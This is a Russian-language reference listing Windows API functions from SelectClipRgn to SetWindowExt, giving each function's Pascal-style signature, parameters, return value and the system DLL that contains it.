Функция SelectClipRgn Описание: function SelectClipRgn(DC: HDC; Rgn: HRgn): Integer; Использует копию Rgn в качестве текущей области вырезания для контекста устройства. Параметры: DC: Идентификатор контекста устройства. Rgn: Выбираемая область. Возвращаемое значение: Одна из констант ComplexRegion, Error, NullRegion, SimpleRegion. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll
Функция SelectObject Описание: function SelectObject(DC: HDC; hObject: THandle): THandle; Выбирает логический объект для DC. В каждый момент времени может быть выбран только один объект, который должен удаляться сразу же, как только перестает использоваться. Параметры: DC: Идентификатор контекста устройства. hObject: Карта бит, кисть, шрифт, перо или область. Возвращаемое значение: Заменяемый объект или не нуль, если DC метафайла, или 0, если ошибка. См. также: DeleteObject, SelectClipRgn, SelectPalette функция находится в файле gdi32.dll
Функция SelectPalette Описание: function SelectPalette(DC: HDC; Palette: HPalette; ForceBackground): HPalette; Выбирает Palette в качестве выбранного объекта палитры контекста устройства, который используется интерфейсом GDI для управления отображаемыми цветами. Параметры: DC: Идентификатор контекста устройства. Palette: Выбираемая логическая палитра. ForceBackground: Если не нуль, то палитра фона, а если нуль, то палитра основного фона, когда окно обладает фокусом ввода. Возвращаемое значение: В случае успешного завершения - замененная логическая палитра; 0 - в противном случае. См. также: CreatePalette функция находится в файле gdi32.dll
Функция SendDlgItemMessage Описание: function SendDlgItemMessage(Dlg: HWnd; IDDlgItem: Integer; Msg, wParam: Word; lParam: Longint): Longint; Посылает сообщение органу управления блока диалога, указанному параметром IDDlgItem. Возврат из функции осуществляется после обработки сообщения. Параметры: Dlg: Идентификатор блока диалога. IDDlgItem: Целочисленный идентификатор элемента диалога назначения. Msg: Тип сообщения. wParam: Дополнительная информация о сообщении. lParam: Дополнительная информация о сообщении. Возвращаемое значение: Значение, возвращенное оконной функцией органа управления; нуль, если неверный IDDlgItem. функция находится в файле user32.dll
Функция SendMessage Описание: function SendMessage(Wnd: HWnd; Msg, wParam: Word; lParam: Longint): Longint; Посылает сообщение оконной функции указанного окна. Возврат из функции осуществляется только после обработки сообщения. Параметры: Wnd: Окно, принимающее сообщение или $FFFF для посылки всем всплывающим окнам в системе. Msg: Тип сообщения. wParam: Дополнительная информация о сообщении. lParam: Дополнительная информация о сообщении. Возвращаемое значение: Значение, возвращенное принимающей оконной функцией. функция находится в файле user32.dll
Функция SetActiveWindow Описание: function SetActiveWindow(Wnd: HWnd); HWnd; Активизирует окно верхнего уровня. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Предыдущее активное окно. функция находится в файле user32.dll
Функция SetBitmapBits Описание: function SetBitmapBits(Bitmap: HBitmap; Count: Longint; Bits: Pointer): Longint; Устанавливает биты карты бит в значения из Bits. Параметры: Bitmap: Устанавливаемая HBitmap. Count: Размер Bits в байтах. Bits: Массив байт, состоящий из бит карты бит. Возвращаемое значение: Число байт, использованных для установки бит карты бит; 0 - если ошибка. функция находится в файле gdi32.dll
Функция SetBitmapDimension Описание: function SetBitmapDimension(Bitmap: HBitmap; X, Y: Integer): Longint; Устанавливает высоту и ширину карты бит в единицах, кратных 0.1 миллиметра. Параметры: Bitmap: Идентификатор карты бит. X: Ширина карты бит (в единицах, кратных 0.1 миллиметра). Y: Высота карты бит (в единицах, кратных 0.1 миллиметра). Возвращаемое значение: Высота и ширина (в десятых долях миллиметра) предыдущих размерностей в старшем и младшем слове, соответственно. См. также: GetBitmapDimension
Функция SetBkColor Описание: function SetBkColor(DC: HDC; Color: TColorRef): Longint; Устанавливает цвет фона в Color или ближайший физический цвет, поддерживаемый устройством. Параметры: DC: Идентификатор контекста устройства. Color: Новый фон TColorRef. Возвращаемое значение: В случае успешного завершения - предыдущее значение цвета RGB; $80000000 - в противном случае. функция находится в файле gdi32.dll
Функция SetBkMode Описание: function SetBkMode(DC: HDC; BkMode: Integer): Longint; Устанавливает режим, определяющий, должен ли интерфейс GDI удалять существующие цвета фона перед рисованием текста, использованием шриховочных кистей и стилей пера при рисовании несплошных линий. Параметры: DC: Идентификатор контекста устройства. BkMode: Один из двух режимов: Opaque или Transparent. См. раздел "Режимы фона" в главе 1. Возвращаемое значение: В случае успешного завершения - предыдущий режим; 0 - в противном случае. функция находится в файле gdi32.dll
Функция SetBrushOrg Описание: function SetBrushOrg(DC: HDC; X, Y: Integer): Longint; Устанавливает начало выбранной кисти. Кисть не должна быть предопределенным объектом. Параметры: DC: Идентификатор контекста устройства. X, Y: Новое начало (в единицах устройства), в диапазоне от 0 до 7. Возвращаемое значение: Предыдущее начало, где координаты X и Y находятся в младшем и старшем слове, соответственно.
Функция SetCapture Описание: function SetCapture(Wnd: HWnd); HWnd; Вызывает посылку всего ввода от курсора в окно Wnd, независимо от положения мыши. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Предыдущее окно, которое принимало ввод от мыши; 0 - если такое окно отсутствует. См. также: ReleaseCapture функция находится в файле user32.dll
Функция SetCaretBlinkTime Описание: function SetCaretBlinkTime(MSeconds: Word); Устанавливает время между мерцаниями вставки. Параметры: MSeconds: Скорость мигания (в миллисекундах). функция находится в файле user32.dll
Функция SetCaretPos Описание: function SetCaretPos(X, Y: Integer); Перемещает вставку в указанную позицию. Параметры: X, Y: Новое положение (в логических координатах). функция находится в файле user32.dll
Функция SetClassLong Описание: function SetClassLong(Wnd: HWnd; Index: Integer; NewLong: Longint): Longint; Заменяет длинное значение, указанное параметром Index, в структуре окна TWndClass. Параметры: Wnd: Идентификатор окна. Index: gcl_MenuName, gcl_WndProc или положительное смещение в байтах. См. раздел "Смещение полей класса, gcl_" в главе 1. NewLong: Значение замены. Возвращаемое значение: Предыдущее значение. функция находится в файле user32.dll
Функция SetClassWord Описание: function SetClassWord(Wnd: HWnd; Index: Integer; NewWord: Word): Longint; Заменяет значение слова, указанное параметром Index, в структуре окна TWndClass. Параметры: Wnd: Идентификатор окна. Index: Константа gcw_CBClsExtra, gcw_CBWndExtra, gcw_HBrBackground, gcw_HCursor, gcw_HIcon, gcw_HModule, gcw_Style или положительное смещение в байтах для установки двухбайтного дополнительного значения. См. раздел "Смещение полей класса, gcw_" в главе 1. NewWord: Значение замены. Возвращаемое значение: Предыдущее значение. функция находится в файле user32.dll
Функция SetClipboardData Описание: function SetClipboardData(Format: Word; Mem: THandle): THandle; Устанавливает описатель данных буфера вырезанного изображения в параметре Format. В большинстве случаев описатель данных освобождается перед возвратом из функции. Параметры: Format: Одна из констант cf_ формата буфера вырезанного изображения. См. раздел "Форматы буфера вырезанного изображения, cf_" в главе 1. Mem: Описатель блока глобальной памяти, содержащего данные в формате Format или 0 для сообщения wm_RenderFormat. Возвращаемое значение: Идентификатор данных, присвоенный буфером вырезанного изображения. функция находится в файле user32.dll
Функция SetClipboardViewer Описание: function SetClipboardViewer(Wnd: HWnd): HWnd; Добавляет окно к цепочке окон, уведомляемых сообщением wm_DrawClipboard при изменении буфера вырезанного изображения. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Следующее окно в цепочке просмотра буфера вырезанного изображения. См. также: ChangeClipboardChain, wm_ChangeCBChain, wm_DrawClipboard, wm_Destroy функция находится в файле user32.dll
Функция SetCommBreak Описание: function SetCommBreak(Cid: Integer): Integer; Приостанавливает передачу символов и переводит линию передачи устройства в разорванное состояние. Параметры: Cid: Устройство связи. Возвращаемое значение: В случае успешного завершения - нуль; отрицательное значение - при неверном Cid. См. также: OpenComm, ClearCommBreak функция находится в файле kernel32.dll
Функция SetCommEventMask Описание: function SetCommEventMask(Cid: Integer; EvtMask: Word): PWord; Разблокирует и считывает текущее состояние маски события устройства. Параметры: Cid: Устройство связи. EvtMask: Любая комбинация констант ev_Break, ev_CTS, ev_DSR, ev_Err, ev_PErr, ev_Ring, ev_Rlsd, ev_RxChar, ev_RxFlag и ev_TxEmpty. См. раздел "Константы ошибок связи, ev_" в главе 1. Возвращаемое значение: Указатель на маску события, где каждый установленный бит указывает на то, что событие имеет место быть. См. также: OpenComm
Функция SetCommState Описание: function SetCommState(var DCB : TDCB): Integer; Вновь инициализирует устройство связи, указанное в поле Id блока DCB, в состояние, заданное DCB. Очереди передачи и приема не затрагиваются. Параметры: TDCB: Структура TDCB. Возвращаемое значение: Нуль в случае успешного завершения; отрицательное - в противном случае. функция находится в файле kernel32.dll
Функция SetCursor Описание: function SetCursor(Cursor: HCursor); Устанавливает форму курсора в указанный ресурс курсора. Параметры: Cursor: Идентификатор ресурса курсора (ранее возвращенный функцией LoadCursor). Возвращаемое значение: Предыдущая форма курсора. функция находится в файле user32.dll
Функция SetCursorPos Описание: function SetCursorPos(X, Y: Integer); Перемещает курсор в указанные координаты экрана. Если курсор попадает внутрь прямоугольника ClipCursor, его положение выравнивается относительно этого прямоугольника. Параметры: X, Y: Новое положение курсора (в координатах экрана). функция находится в файле user32.dll
Функция SetDIBits Описание: function SetDIBits(DC: HDC; TBitmap: THandle; StartScan, NumScans: Word; Bits: Pointer; var BitsInfo: TBitmapInfo; Usage: Word): Integer; Устанавливает биты карты бит в заданные значения спецификации карты бит, независящей от устройства (DIB). Параметры: DC: Контекст устройства. Bitmap: Идентификатор карты бит. StartScan: Номер строки развертки, соответствующий первой строке развертки в Bits. NumScans: Число строк развертки в Bits. Bits: Массив байт, содержащий биты карты DIB, формат которой указан полем biBitCount структуры BitsInfo. BitsInfo: Структура TBitmapInfo, содержащая информацию о карте DIB. Usage: Описывает содержимое полей bmiColors структуры BitsInfo. Одна из констант DIB_RGB_Colors или DIB_Pal_Colors. См. раздел "Идентификаторы таблицы цветов, DIB_" в главе 1. Возвращаемое значение: В случае успешного завершения - фактическое число скопированных строк развертки; 0 - если ошибка. функция находится в файле gdi32.dll
Функция SetDIBitsToDevice Описание: function SetDIBitsToDevice(DC: HDC; DestX, DestY, Width, Height, SrcX, SrcY; StartScan, NumScans: Word; Bits: Pointer; var BitsInfo: TBitmapInfo; Usage: Word): Integer; Устанавливает биты на поверхности устройства прямо из карты бит, независящей от устройства. Параметры: DC: Контекст устройства. DestX, DestY: Начало прямоугольника назначения в устройстве. Width: Экстент по X прямоугольника DIB. Height: Экстент по Y прямоугольника DIB. SrcX, SrcY: Исходное положение DIB. StartScan: Номер строки развертки DIB, соответствующей первой строке развертки в Bits. NumScans: Число строк развертки DIB в Bits. Bits: Массив байт, содержащий биты карты DIB, формат которой указан полем biBitCount структуры BitsInfo. BitsInfo: Структура TBitmapInfo, содержащая информацию о карте DIB. Usage: Описывает содержимое полей bmiColors структуры BitsInfo. Одна из констант DIB_RGB_Colors или DIB_Pal_Colors. См. раздел "Идентификаторы таблицы цветов, DIB_" в главе 1. Возвращаемое значение: Число установленных строк развертки. функция находится в файле gdi32.dll
Функция SetDlgItemInt Описание: function SetDlgItemInt(Dlg: HWnd; IDDlgItem: Integer; Value: Word; Signed: Bool); Устанавливает текст органа управления блока диалога в значение конвертированной строки, указанной параметром Value. Параметры: Dlg: Идентификатор блока диалога. IDDlgItem: Целочисленный идентификатор органа управления. Value: Устанавливаемое значение. Signed: Не нуль, если Value - значение со знаком. См. также: wm_SetText функция находится в файле user32.dll
Функция SetDlgItemText Описание: function SetDlgItemText(Dlg: HWnd; IDDlgItem: Integer; Str: PChar); Устанавливает заголовок или текст органа управления в значение, указанное в Str. Параметры: Dlg: Идентификатор блока диалога. IDDlgItem: Целочисленный идентификатор органа управления. Str: Строка (заканчивающаяся пустым символом). См. также: wm_SetText функция находится в файле user32.dll
Функция SetDoubleClickTime Описание: function SetDoubleClickTime(Count: Word); Устанавливает максимальное время между последовательными двумя щелчками мыши, которые соответствуют двойному щелчку. Параметры: Count: Количество миллисекунд между двумя щелчками или 0 для использования стандартного значения (500). функция находится в файле user32.dll
Функция SetEnvironment Описание: function SetEnvironment(PortName, Environ: PChar; Count: Word): Integer; Создает или заменяет среду устройства. Параметры: PortName: Имя системного порта (заканчивающееся пустым символом). Environ: Буфер, содержащий новую среду. Count: Число копируемых байт Environ, или 0 для удаления текущей среды. Возвращаемое значение: Фактическое число скопированных байт; 0 - если ошибка; -1 - если среда удалена.
Функция SetErrorMode Описание: function SetErrorMode(Mode: Word): Bool; Определяет, будет ли Windows отображать блок ошибок при ошибках DOS по прерыванию INT 24H. Если нет, Windows ошибочно завершает вызов исходного прерывания INT 21H, позволяя прикладной задаче обрабатывать ошибку. Параметры: Mode: (0) Windows отображает блок ошибок; (1) Windows передает обработку ошибки прикладной задаче. Возвращаемое значение: Не нуль, если установлено; 0 - если нет. функция находится в файле kernel32.dll
Функция SetFocus Описание: function SetFocus(Wnd: HWnd): HWnd; Назначает фокус ввода окну, направляя в него ввесь ввод с клавиатуры. Параметры: Wnd: Идентификатор окна или 0 для игнорирования нажатий клавиш. Возвращаемое значение: Предыдущее окно, имевшее фокус ввода; 0 - если такого окна нет. функция находится в файле user32.dll
Функция SetHandleCount Описание: function SetHandleCount(Number: Word): Word; Изменяет число описателей файлов, доступных для задачи, на значение, указанное в параметре Number. Параметры: Number: Число требуемых описателей файлов (максимум 255). Возвращаемое значение: Фактическое число ставших доступными описателей файлов (может быть меньше Number). функция находится в файле kernel32.dll
Функция SetKeyboardState Описание: function SetKeyboardState(var: KeyState: Byte); Копирует KeyState в таблицу состояний клавиатуры Windows. Параметры: KeyState: 256-байтный массив, содержащий состояния клавиш. функция находится в файле user32.dll
Функция SetMapMode Описание: function SetMapMode(DC: HDC, MapMode: Integer): Integer; Устанавливает режим отображения контекста устройства, который определяет преобразования логических единиц в единицы устройства для GDI и координат осей X и Y. Параметры: DC: Идентификатор контекста устройства. MapMode: Одна из констант режима отображения: mm_Anisotropic, mm_HiEnglish, mm_HMetric, mm_Isotropic, mm_LoEnglish, mm_LoMetric, mm_LoText или mm_Twips. См. раздел "Режимы отображения" в главе 1. Возвращаемое значение: Предыдущий режим отображения. функция находится в файле gdi32.dll
Функция SetMapperFlags Описание: function SetMapperFlags(DC: HDC, Flag: Longint): Longint; Изменяет алгоритм отображения шрифтов на указанный во Flags для отображения логических шрифтов в физические. Параметры: DC: Идентификатор контекста устройства. Flags: Если первый бит установлен в 1, то выбираются только шрифты, аспекты которых по X и Y в точности соответствуют устройству. Возвращаемое значение: Предыдущий флаг отображения шрифта. функция находится в файле gdi32.dll
Функция SetMenu Описание: function SetMenu(Wnd: HWnd; Menu: HMenu): HMenu; Устанавливает и перерисовывает меню окна как меню, определенное параметром Menu. Предыдущее меню не отображается. Параметры: Wnd: Идентификатор окна. Menu: Новое меню или 0 для удаления текущего меню. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. См. также: DestroyMenu функция находится в файле user32.dll
Функция SetMenuItemBitmaps Описание: function SetMenuItemBitmaps(Menu: HMenu; Position, Flags: Word; BitmapUnchecked, BitmapChecked: HBitmap): Bool; Связывает две карты бит с элементом меню; одна из них отображается, когда элемент выбран, а другая - когда не выбран. Параметры: Menu: Идентификатор меню. Position: Идентификатор команды или положение элемента меню. Flags: mf_ByCommand или mf_ByPosiyion. См. раздел "Флаги меню, mf_" в главе 1. BitmapUnchecked: HBitmap, отображаемая, когда элемент не выбран, или 0, чтобы ничего не отображалось. BitmapChecked: HBitmap, отображаемая, когда элемент выбран, или 0, чтобы ничего не отображалось. Если и BitmapUnchecked, и BitmapChecked равны нулю, Windows использует стандартную отметку. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll
Функция SetMessageQueue Описание: function SetMessageQueue(Msg: Integer): Bool; Создает новую очередь сообщений прикладной задачи указанного размера. Старая очередь удаляется. Параметры: Msg: Размер очереди. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll
Функция SetMetaFileBits Описание: function SetMetaFileBits(Mem: THandle): THandle; Создает из данных, указанных Mem, метафайл в памяти. Параметры: Mem: Блок глобальной памяти, содержащий данные метафайла, созданные ранее с помощью GetMetaFileBits. Возвращаемое значение: В случае успешного завершения - идентификатор метафайла в памяти; 0 - в противном случае.
Функция SetPaletteEntries Описание: function SetPaletteEntries(Palette: HPalette; StartIndex, NumEntries: Word; var PaletteEntries): Word; Устанавливает элементы логической палитры в указанном диапазоне в значения из PaletteEntries. Параметры: Palette: Идентификатор логической палитры. StartIndex: Первый устанавливаемый элемент. NumEntries: Число устанавливаемых элементов. PaletteEntries: Массив из структуры TPaletteEntry. Возвращаемое значение: Фактическое число установленных элементов; 0 - в случае ошибки. функция находится в файле gdi32.dll
Функция SetParent Описание: function SetParent(WndChild, WndNewParent: HWnd): HWnd; Изменяет родителя дочернего окна на WndNewParent. Параметры: WndChild: Идентификатор дочернего окна. WndNewParent: Идентификатор родительского окна. Возвращаемое значение: Предыдущее родительское окно. функция находится в файле user32.dll
Функция SetPixel Описание: function SetPixel(DC: HDC; X, Y: Integer; Color: TColorRef): Longint; Рисует элемент изображения в указанной точке. Параметры: DC: Идентификатор контекста устройства. X, Y: Логические координаты точки. Color: Структура TColorRef, определяющая цвет раскраски точки. Возвращаемое значение: Фактическая TColorRef, используемая для раскраски; -1, если точка лежит вне в области вырезания. функция находится в файле gdi32.dll
Функция SetPolyFillMode Описание: function SetPolyFillMode(DC: HDC; PolyFillMode: Integer): Integer; Устанавливает режим заполнения многоугольника, используемый функциями GDI, в котором используется алгоритм вычисления внутренних точек многоугольника. Параметры: DC: Идентификатор контекста устройства. PolyFillMode: Alternate или Winding. См. раздел "Режимы PolyFill" в главе 1. Возвращаемое значение: В случае успешного завершения - предыдущий режим заполнения; 0 - в противном случае. функция находится в файле gdi32.dll
Функция SetProp Описание: function SetProp(Wnd: HWnd; Str: PChar; Data: THandle): THandle; Добавляет или изменяет элемент, указанный Str, на список свойств окна. Параметры: Wnd: Идентификатор окна. Str: Строка (заканчивающаяся пустым символом) или значение атома, полученное при вызове AddAtom. Data: Описатель данных соответствующего свойства. Возвращаемое значение: Не нуль, если добавлен; 0 - если нет. функция находится в файле user32.dll
Функция SetRect Описание: function SetRect(var Rect: TRect; X1, Y1, X2, Y2: Integer); Заполняет Rect с указанными координатами. Параметры: Rect: Принимающая структура TRect. X1, Y1: Верхний левый угол прямоугольника. X2, Y2: Нижний правый угол прямоугольника. функция находится в файле user32.dll
Функция SetRectEmpty Описание: function SetRectEmpty(var Rect: TRect); Устанавливает в нуль все координаты Rect. Параметры: Rect: Принимающая структура TRect. функция находится в файле user32.dll
Функция SetRectRgn Описание: function SetRectRgn (Rgn: HRgn; X1, Y1, X2, Y2: Integer); Использует место, выделенное для Rgn, для создания прямоугольной области с указанным размером. Параметры: Rgn: Идентификатор области. X1, Y1: Верхний левый угол прямоугольной области. X2, Y2: Нижний правый угол прямоугольной области. См. также: CreateRectRgn функция находится в файле gdi32.dll
Функция SetResourceHandler Описание: function SetResourceHandler(Instance: THandle; ResType: Pointer; LoadFunc: TFarProc): TFarProc; Настраивает функцию обратного вызова, которая вызывается Windows, когда ресурс блокируется (то есть, LockResource). Обратному вызову передается Mem для находящегося в памяти ресурса, Instance, и ResInfo (из FindResource). Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит ресурс. ResType: Указатель на короткое целое, определяющее тип рисурса. LoadFunc: Адрес экземпляра процедуры функции обратного вызова. Возвращаемое значение: Указатель на функцию обратного вызова.
Функция SetROP2 Описание: function SetROP2(DC: HDC; DrawMode: Integer): Integer; Устанавливает текущий режим рисования в значение, заданное DrawMode. Этот режим указывает, как внутренности объекта и перья комбинируются с цветами, уже имеющимися на отображаемой поверхности. Параметры: DC: Идентификатор контекста устройства. DrawMode: Одна из констант r2_. См. раздел "Двоичные растровые операции" в главе 1. Возвращаемое значение: Предыдущий режим рисования. функция находится в файле gdi32.dll
Функция SetScrollPos Описание: function SetScrollPos(Wnd: HWnd; Bar, Pos: Integer; Redraw: Bool): Integer; Устанавливает указатель прокрутки в позицию Pos. Параметры: Wnd: Идентификатор окна или идентификатор органа управления полосы прокрутки, если Bar имеет значение sb_Ctl. Bar: Одна из констант sb_Ctl, sb_Horz, sb_Vert. См. раздел "Константы полосы прокрутки, sb_" в главе 1. Pos: Новое положение. Redraw: Не нуль, если полоса прокрутки перерисовывается. Возвращаемое значение: Предыдущее положение указателя полосы прокрутки. функция находится в файле user32.dll
Функция SetScrollRange Описание: function SetScrollRange(Wnd: HWnd; Bar, MinPos, MaxPos: Integer; Redraw: Bool); Устанавливает минимальное и максимальное положения указателя прокрутки. Параметры: Wnd: Идентификатор окна или идентификатор органа управления полосы прокрутки, если Bar имеет значение sb_Ctl. Bar: Одна из констант sb_Ctl, sb_Horz, sb_Vert. См. раздел "Константы полосы прокрутки, sb_" в главе 1. MinPos: Минимальное положение прокрутки. MaxPos: Максимальное положение прокрутки или 0, если MinPos установлена в нуль, чтобы скрыть полосу прокрутки. Redraw: Не нуль, если полоса прокрутки перерисовывается. функция находится в файле user32.dll
Функция SetSoundNoise Описание: function SetSoundNoise(Source, Duration: Integer): Integer; Устанавливает источник звуков и значения продолжительности для устройства воспроизведения. Параметры: Source: Любая из констант s_Period512, s_Period1024, s_Period2048, s_PeriodVoice, s_White512, s_White1024, s_White2048 или s_WhiteVoice. См. раздел "Звуковые константы, s_" в главе 1. Duration: Продолжительность звука (в тактах генератора). Возвращаемое значение: В случае успешного завершения - нуль; s_SerDSR - если неверный Source.
Функция SetStretchBitMode Описание: function SetStretchMode(DC: HDC; StretchMode: Integer): Integer; Устанавливает режим растяжения, используемый StretchMode для охватывания карты бит. Параметры: DC: Идентификатор контекста устройства. StretchMode: Одна из констант WhiteOnBlack, BlackOnWhite или ColorOnColor. См. раздел "Режимы StretchBit" в главе 1. Возвращаемое значение: Предыдущий режим растяжения.
Функция SetSwapAreaSize Описание: function SetSwapAreaSize(Size: Word): Longint; Увеличивает объем памяти, до половины оставшегося после загрузки Windows места, доступной для сегментов кодов прикладной задачи. Параметры: Size: Число 16-байтовых параграфов. Возвращаемое значение: Фактическое число полученных параграфов и максимальный доступный размер в младшем и старшем слове, соответственно.
Функция SetSysColors Описание: function SetSysColors(Changes: Integer; var SysColor: Integer; var ColorValues: Longint); Глобально устанавливает системные цвета для элементов отображения, указанных в SysColor. Параметры: Change: Число изменяемых системных цветов. SysColor: Целочисленный массив, индексы которого являются константами color_. См. раздел "Коды системных цветов, color_" в главе 1. ColorValues: Массив с типом элементов Logint, содержащий соответствующее значение цвета RGB для каждого цветового индекса в SysColor. функция находится в файле user32.dll
Функция SetSystemPaletteUse Описание: function SetSystemPaletteUse(DC: HDC; Usage: Word): Word; Позволяет прикладной задаче, окно которой в данный момент имеет фокус ввода, осуществлять полный доступ к системной палитре. Параметры: DC: Идентификатор контекста устройства. Usage: Одна из констант syspal_NoStatic или syspal_Static. См. раздел "Флаги системной палитры, syspal_" в главе 1. Возвращаемое значение: Предыдущее использование системной палитры. См. также: GetSysColor, SetSysColors, UnrealizeObject, wm_SysColorChange функция находится в файле gdi32.dll
Функция SetTextAlign Описание: function SetTextAlign(DC: HDC; Flags: Word): Word; Устанавливает флаги выравнивания текста, используемые TextOut и ExtTextOut для позиционирования текста относительно его ограничивающего прямоугольника. Параметры: DC: Идентификатор контекста устройства. Flags: Комбинация флагов выравнивания текста: ta_Left, ta_Center, ta_Right, ta_BaseLine, ta_Bottom, ta_Top, ta_NoUpdateCP и ta_UpdateCP. См. раздел "Параметры выравнивания текста, ta_" в главе 1. Возвращаемое значение: Предыдущее выравнивание по горизонтали и вертикали в младшем и старшем байте, соответственно. функция находится в файле gdi32.dll
Функция SetTextCharacterExtra Описание: function SetTextCharacterExtra(DC: HDC; CharExtra: Integer): Integer; Устанавливает дополнительное расстояние, добавляемое к каждому символу, когда GDI записывает строку текста. Параметры: DC: Идентификатор контекста устройства. CharExtra: Величина межсимвольного расстояния (в логических единицах). Возвращаемое значение: Предыдущее расстояние между символами. функция находится в файле gdi32.dll
Функция SetTextColor Описание: function SetTextColor(DC: HDC; Color: TColorRef): Longint; Устанавливает цвет текста или ближайший поддерживаемый устройством цвет, используемый TextOut и ExTextOut для рисования символов. Также используется интерфейсом GDI для преобразования карт бит из цветных в монохромные и обратно. Параметры: DC: Идентификатор контекста устройства. Color: Текст TColorRef. Возвращаемое значение: Предыдущее значение цвета RGB для текста. См. также: SetBkColor, SetBkMode функция находится в файле gdi32.dll
Функция SetTextJustification Описание: function SetTextJustification(DC: HDC; BreakExtra, BreakCount: Integer): Integer; Определяет параметры выравнивания, используемые GDI для выравнивания строки текста. Параметры: DC: Идентификатор контекста устройства. BreakExtra: Добавляемое дополнительное расстояние между символами (в логических единицах). BreakCount: Число разделаюящих символов (обычно пробелов) в строке. Возвращаемое значение: 1 - в случае успешного завершения; 0 - в противном случае. См. также: GetTextExtent, GetTextMetrics, TextOut функция находится в файле gdi32.dll
Функция SetTimer Описание: function SetTimer(Wnd: HWnd; IDEvent: Integer; Elapse: Word; TimerFunc: TFarProc): Word; Создает системный таймер, который вызывает посылку сообщений wm_Timer прикладной задаче через интервал, указанный Elapse. Параметры: Wnd: Идентификатор окна или 0, если связанное окно отсутствует. IDEvent: Идентификатор ненулевого события таймера или игнорируется, если Wnd равен 0. Elapse: Число миллисекунд между событиями таймера. TimerFunc: Адрес экземпляра процедуры функции обратного вызова или nil для помещения сообщений wm_Timer в очередь прикладной задачи. Возвращаемое значение: IDEvent, если Wnd не нуль; в противном случае - новое событие таймера; 0 - в случае ошибки. См. также: wm_Timer функция находится в файле user32.dll
Функция SetViewportExt Описание: function SetViewportExt(DC: HDC; X, Y: Integer): Longint; Устанавливает экстенты точки зрения по осям X и Y, определяющие, как GDI растягивает или сжимает логические единицы, чтобы уместиться в единицы устройства. Параметры: DC: Идентификатор контекста устройства. X, Y: Новые экстенты точки зрения (в единицах устройства). Возвращаемое значение: Предыдущие экстенты X и Y в младшем и старшем словах, соответственно.
Функция SetViewportOrg Описание: function SetViewportOrg(DC: HDC; X, Y: Integer): Longint; Устанавливает начало точки зрения, определяющей, как GDI отображает логические координаты в точки в координатах устройства. Параметры: DC: Идентификатор контекста устройства. X, Y: Новые экстенты точки зрения (в единицах устройства). Возвращаемое значение: Координаты X и Y предыдущего начала в младшем и старшем словах, соответственно.
Функция SetVoiceAccent Описание: function SetVoiceAccent(Voice, Tempo, Volume, Mode, Pitch: Integer): Integer; Заменяет огибающую в очереди звуков. Параметры: Voice: Очередь звуков (начинается с 1). Tempo: Число четвертных нот, проигрываемых за минуту (по умолчанию, 120). Volume: Уровень громкости (от 0 до 255). Mode: Одна из констант s_Legato, s_Normal или s_Staccato. См. раздел "Звуковые константы, s_" в главе 1. Pitch: Высота проигрываемых нот (от 0 до 83). Возвращаемое значение: Нуль - в случае успешного завершения; в противном случае, одна из следующих отрицательных констант: s_SerDMD, s_SerDTP, s_SerDVL или s_SerQFUL. См. раздел "Звуковые константы, s_" в главе 1.
Функция SetVoiceEnvelope Описание: function SetVoiceEnvelope(Voice, Shape, RepeatCount: Integer): Integer; Помещяет звуковую огибающую в очереди звуков, заменяя существующую. Параметры: Voice: Очередь звуков. Shape: Индекс таблицы форм волн OEM. RepeatCount: Число повторений формы волны в каждой ноте. Возвращаемое значение: Нуль - в случае успешного завершения; в противном случае, одна из следующих отрицательных констант: s_SerQFUL, или s_SerDSH. См. раздел "Звуковые константы, s_" в главе 1.
Функция SetVoiceNote Описание: function SetVoiceNote(Voice, Value, Length, Cdots: Integer): Integer; Помещяет ноту в очередь звуков с указанными тембрами. Параметры: Voice: Очередь звуков. Value: Нота (от 1 до 84) или нуль для остальных. Length: Обратная величина звучанию ноты. Cdots: Длительность ноты в точках: (Length * (Cdots * 3/2)). Возвращаемое значение: Нуль - в случае успешного завершения; в противном случае, одна из следующих отрицательных констант: s_SerDCC, s_SerDLN, s_SerBDNT или s_SerQFUL. См. раздел "Звуковые константы, s_" в главе 1.
Функция SetVoiceQueueSize Описание: function SetVoiceQueueSize(Voice, Bytes: Integer): Integer; Устанавливает размер непроигрываемой очереди звуков. По умолчанию, размер очереди равен 192 байтам или примерно 32 звукам. Параметры: Voice: Очередь звуков. Bytes: Размер очереди звуков в байтах. Возвращаемое значение: Нуль - в случае успешного завершения; в противном случае, одна из следующих отрицательных констант: s_SerMACT или s_SerOFM. См. раздел "Звуковые константы, s_" в главе 1.
Функция SetVoiceSound Описание: function SetVoiceSound(Voice: Longint; Frequency: Longint; Duration: Integer): Integer; Помещает в очередь звуков указанную частоту и длительность звука. Параметры: Voice: Очередь звуков. Frequence: Частота в герцах и дробная частота в старшем и младшем слове, соответственно. Duration: Длительность звука (в тактах генератора). Возвращаемое значение: Нуль - в случае успешного завершения; в противном случае, одна из следующих отрицательных констант: s_SerDDR, s_serDFQ, s_serDVL или s_SerQFUL. См. раздел "Звуковые константы, s_" в главе 1.
Функция SetVoiceThreshold Описание: function SetVoiceThreshold(Voice, Notes: Integer): Integer; Устанавливает пороговый уровень для очереди звуков. Если число нот в очереди падает ниже порогового, устанавливается флаг порога. Параметры: Voice: Очередь звуков. Notes: Число нот, указываемое в качестве порогового уровня. Возвращаемое значение: Нуль - в случае успешного завершения; 1 - если Notes выходит за диапазон.
Функция SetWindowExt Описание: function SetWindowExt(DC: HDC; X, Y: Integer): Longint; Устанавливает экстенты окна по X и Y. Это, вместе с экстентами точки зрения, определяет, как GDI растягивает или сжимает логические единицы, чтобы уместиться в единицах устройства. Параметры: DC: Идентификатор контекста устройства. X, Y: Экстенты окна. Возвращаемое значение: Предыдущие экстенты X и Y в младшем и старшем слове, соответственно; нуль - если ошибка.
